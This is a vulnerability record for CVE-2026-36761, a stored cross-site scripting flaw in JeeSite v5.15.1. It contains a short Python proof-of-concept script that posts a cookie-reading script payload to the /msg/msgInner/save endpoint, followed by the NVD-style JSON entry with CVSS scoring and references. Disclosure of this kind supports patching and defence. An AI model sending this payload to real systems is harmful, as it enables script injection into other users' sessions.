CVE-2026-36761

import requests url = "http://target.com/msg/msgInner/save" payload = { "msgContent": "<script>alert(document.cookie)</script>" } response = requests.post(url, data=payload) if response.status_code == 200: print("Payload sent successfully. Check the message page.")

{"cve": {"id": "CVE-2026-36761", "sourceIdentifier": "[email protected]", "published": "2026-04-30T18:16:29.087", "lastModified": "2026-04-30T19:11:18.200", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability in the /msg/msgInner/save endpoint of JeeSite v5.15.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted input into the msgContent parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/thinkgem/jeesite", "source": "[email protected]"}, {"url": "https://github.com/thinkgem/jeesite/issues/528", "source": "[email protected]"}, {"url": "https://github.com/thinkgem/jeesite/issues/528", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}